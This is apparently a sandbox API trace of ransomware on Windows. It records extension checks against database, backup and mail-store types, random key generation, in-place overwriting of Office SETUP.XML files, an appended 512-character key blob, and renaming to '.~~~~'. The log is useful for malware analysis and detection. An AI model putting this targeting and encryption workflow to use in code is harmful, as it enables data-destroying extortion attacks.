	[0080.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".DBV") returned 0x0
	[0080.945] lstrlenW (lpString=".dacpac") returned 7
	[0080.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".dacpac") returned 0x0
	[0080.945] lstrlenW (lpString=".sdf") returned 4
	[0080.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".sdf") returned 0x0
	[0080.945] lstrlenW (lpString=".accdb") returned 6
	[0080.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".accdb") returned 0x0
	[0080.945] lstrlenW (lpString=".DBX") returned 4
	[0080.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".DBX") returned 0x0
	[0080.945] lstrlenW (lpString=".MDT") returned 4
	[0080.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".MDT") returned 0x0
	[0080.945] lstrlenW (lpString=".SQB") returned 4
	[0080.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".SQB") returned 0x0
	[0080.945] lstrlenW (lpString=".vhd") returned 4
	[0080.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".vhd") returned 0x0
	[0080.945] lstrlenW (lpString=".bac") returned 4
	[0080.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".bac") returned 0x0
	[0080.945] lstrlenW (lpString=".mdf") returned 4
	[0080.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".mdf") returned 0x0
	[0080.945] lstrlenW (lpString=".BAK") returned 4
	[0080.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".BAK") returned 0x0
	[0080.945] lstrlenW (lpString=".BAC") returned 4
	[0080.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".BAC") returned 0x0
	[0080.945] lstrlenW (lpString=".dbs") returned 4
	[0080.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".dbs") returned 0x0
	[0080.945] lstrlenW (lpString=".vhdx") returned 5
	[0080.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".vhdx") returned 0x0
	[0080.945] lstrlenW (lpString=".NDF") returned 4
	[0080.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".NDF") returned 0x0
	[0080.946] lstrlenW (lpString=".dat") returned 4
	[0080.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".dat") returned 0x0
	[0080.946] lstrlenW (lpString=".DBS") returned 4
	[0080.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".DBS") returned 0x0
	[0080.946] lstrlenW (lpString=".CKP") returned 4
	[0080.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".CKP") returned 0x0
	[0080.946] lstrlenW (lpString=".edb") returned 4
	[0080.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".edb") returned 0x0
	[0080.946] lstrlenW (lpString=".PST") returned 4
	[0080.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".PST") returned 0x0
	[0080.946] lstrlenW (lpString=".dbf") returned 4
	[0080.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".dbf") returned 0x0
	[0080.946] lstrlenW (lpString=".SQL") returned 4
	[0080.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".SQL") returned 0x0
	[0080.946] lstrlenW (lpString=".pst") returned 4
	[0080.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".pst") returned 0x0
	[0080.946] lstrlenW (lpString=".dbv") returned 4
	[0080.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".dbv") returned 0x0
	[0080.946] lstrlenW (lpString=".SDF") returned 4
	[0080.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".SDF") returned 0x0
	[0080.946] lstrlenW (lpString=".dtxs") returned 5
	[0080.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".dtxs") returned 0x0
	[0080.946] lstrlenW (lpString=".db3") returned 4
	[0080.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".db3") returned 0x0
	[0080.946] lstrlenW (lpString=".OST") returned 4
	[0080.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".OST") returned 0x0
	[0080.946] lstrlenW (lpString=".dbx") returned 4
	[0080.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".dbx") returned 0x0
	[0080.946] lstrlenW (lpString=".DB3") returned 4
	[0080.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".DB3") returned 0x0
	[0080.946] lstrlenW (lpString=".DAT") returned 4
	[0080.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".DAT") returned 0x0
	[0080.947] lstrlenW (lpString=".VHDX") returned 5
	[0080.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".VHDX") returned 0x0
	[0080.947] lstrlenW (lpString=".ndf") returned 4
	[0080.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".ndf") returned 0x0
	[0080.947] lstrlenW (lpString=".DB") returned 3
	[0080.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".DB") returned 0x0
	[0080.947] lstrlenW (lpString=".sql") returned 4
	[0080.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".sql") returned 0x0
	[0080.947] lstrlenW (lpString=".MYD") returned 4
	[0080.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".MYD") returned 0x0
	[0080.947] lstrlenW (lpString=".DBT") returned 4
	[0080.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".DBT") returned 0x0
	[0080.947] lstrlenW (lpString=".ACCDB") returned 6
	[0080.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".ACCDB") returned 0x0
	[0080.947] lstrlenW (lpString=".fdb") returned 4
	[0080.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".fdb") returned 0x0
	[0080.947] lstrlenW (lpString=".bak") returned 4
	[0080.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".bak") returned 0x0
	[0080.947] lstrlenW (lpString=".myd") returned 4
	[0080.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".myd") returned 0x0
	[0080.947] lstrlenW (lpString=".DTXS") returned 5
	[0080.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".DTXS") returned 0x0
	[0080.947] lstrlenW (lpString=".ckp") returned 4
	[0080.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".ckp") returned 0x0
	[0080.947] lstrlenW (lpString=".dbt") returned 4
	[0080.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".dbt") returned 0x0
	[0080.947] lstrlenW (lpString=".db") returned 3
	[0080.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".db") returned 0x0
	[0080.947] lstrlenW (lpString=".TXT") returned 4
	[0080.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".TXT") returned 0x0
	[0080.948] lstrlenW (lpString=".MDF") returned 4
	[0080.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".MDF") returned 0x0
	[0080.948] lstrlenW (lpString=".bdb") returned 4
	[0080.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".bdb") returned 0x0
	[0080.948] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0080.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0080.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0080.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0080.948] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0080.949] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0080.949] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0080.949] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0080.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0080.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2809400
	[0080.949] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20093903953) returned 1
	[0080.949] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9a19dbd0, dwHighDateTime=0x1d60e1e)) 
	[0080.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0080.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0080.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0080.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa7b0
	[0080.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0080.949] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa7b0 | out: hHeap=0x300000) returned 1
	[0080.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0080.949] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0080.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f50d8
	[0080.949] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0080.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0080.949] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f50d8 | out: hHeap=0x300000) returned 1
	[0080.949] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0080.950] GetLastError () returned 0x0
	[0080.950] GetLastError () returned 0x0
	[0080.950] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0080.950] GetLastError () returned 0x0
	[0080.950] GetLastError () returned 0x0
	[0080.950] ReadFile (in: hFile=0x134, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x26dfec0*=0x7c4, lpOverlapped=0x0) returned 1
	[0080.994] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffff83c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0080.994] WriteFile (in: hFile=0x134, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x7c4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x26dfec0*=0x7c4, lpOverlapped=0x0) returned 1
	[0081.009] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0081.020] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.020] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0081.020] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0081.020] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0081.021] CloseHandle (hObject=0x134) returned 1
	[0081.130] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x39d898
	[0081.130] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.~~~~")) returned 1
	[0081.294] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d898 | out: hHeap=0x300000) returned 1
	[0081.294] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0081.294] GetLastError () returned 0x0
	[0081.294] RtlWakeConditionVariable () returned 0x365f70
	[0081.294] GetCurrentThreadId () returned 0x9cc
	[0081.294] GetCurrentThreadId () returned 0x9cc
	[0081.294] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0081.294] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d7c0 | out: hHeap=0x300000) returned 1
	[0081.294] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa938 | out: hHeap=0x300000) returned 1
	[0081.294] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0a88
	[0081.294] lstrlenW (lpString=".scr") returned 4
	[0081.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".scr") returned 0x0
	[0081.294] lstrlenW (lpString=".cmd") returned 4
	[0081.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".cmd") returned 0x0
	[0081.294] lstrlenW (lpString=".dll") returned 4
	[0081.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".dll") returned 0x0
	[0081.294] lstrlenW (lpString=".bat") returned 4
	[0081.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".bat") returned 0x0
	[0081.294] lstrlenW (lpString=".cpl") returned 4
	[0081.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".cpl") returned 0x0
	[0081.294] lstrlenW (lpString=".sys") returned 4
	[0081.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".sys") returned 0x0
	[0081.294] lstrlenW (lpString=".msc") returned 4
	[0081.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".msc") returned 0x0
	[0081.295] lstrlenW (lpString=".com") returned 4
	[0081.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".com") returned 0x0
	[0081.295] lstrlenW (lpString=".lnk") returned 4
	[0081.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".lnk") returned 0x0
	[0081.295] lstrlenW (lpString=".msp") returned 4
	[0081.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".msp") returned 0x0
	[0081.295] lstrlenW (lpString=".pif") returned 4
	[0081.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".pif") returned 0x0
	[0081.295] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0081.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0081.295] lstrlenW (lpString=".sqb") returned 4
	[0081.295] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".sqb") returned 0x0
	[0081.296] lstrlenW (lpString=".ost") returned 4
	[0081.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".ost") returned 0x0
	[0081.296] lstrlenW (lpString=".txt") returned 4
	[0081.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".txt") returned 0x0
	[0081.296] lstrlenW (lpString=".mdt") returned 4
	[0081.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".mdt") returned 0x0
	[0081.296] lstrlenW (lpString=".BDB") returned 4
	[0081.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".BDB") returned 0x0
	[0081.296] lstrlenW (lpString=".eql") returned 4
	[0081.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".eql") returned 0x0
	[0081.296] lstrlenW (lpString=".DBF") returned 4
	[0081.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".DBF") returned 0x0
	[0081.296] lstrlenW (lpString=".EQL") returned 4
	[0081.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".EQL") returned 0x0
	[0081.296] lstrlenW (lpString=".FDB") returned 4
	[0081.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".FDB") returned 0x0
	[0081.296] lstrlenW (lpString=".EDB") returned 4
	[0081.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".EDB") returned 0x0
	[0081.296] lstrlenW (lpString=".DACPAC") returned 7
	[0081.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".DACPAC") returned 0x0
	[0081.296] lstrlenW (lpString=".VHD") returned 4
	[0081.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".VHD") returned 0x0
	[0081.296] lstrlenW (lpString=".DBV") returned 4
	[0081.296] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".DBV") returned 0x0
	[0081.297] lstrlenW (lpString=".dacpac") returned 7
	[0081.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".dacpac") returned 0x0
	[0081.297] lstrlenW (lpString=".sdf") returned 4
	[0081.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".sdf") returned 0x0
	[0081.297] lstrlenW (lpString=".accdb") returned 6
	[0081.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".accdb") returned 0x0
	[0081.297] lstrlenW (lpString=".DBX") returned 4
	[0081.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".DBX") returned 0x0
	[0081.297] lstrlenW (lpString=".MDT") returned 4
	[0081.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".MDT") returned 0x0
	[0081.297] lstrlenW (lpString=".SQB") returned 4
	[0081.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".SQB") returned 0x0
	[0081.297] lstrlenW (lpString=".vhd") returned 4
	[0081.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".vhd") returned 0x0
	[0081.297] lstrlenW (lpString=".bac") returned 4
	[0081.297] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpSrch=".bac") returned 0x0
	[0081.297] lstrlenW (lpString=".mdf") returned 4
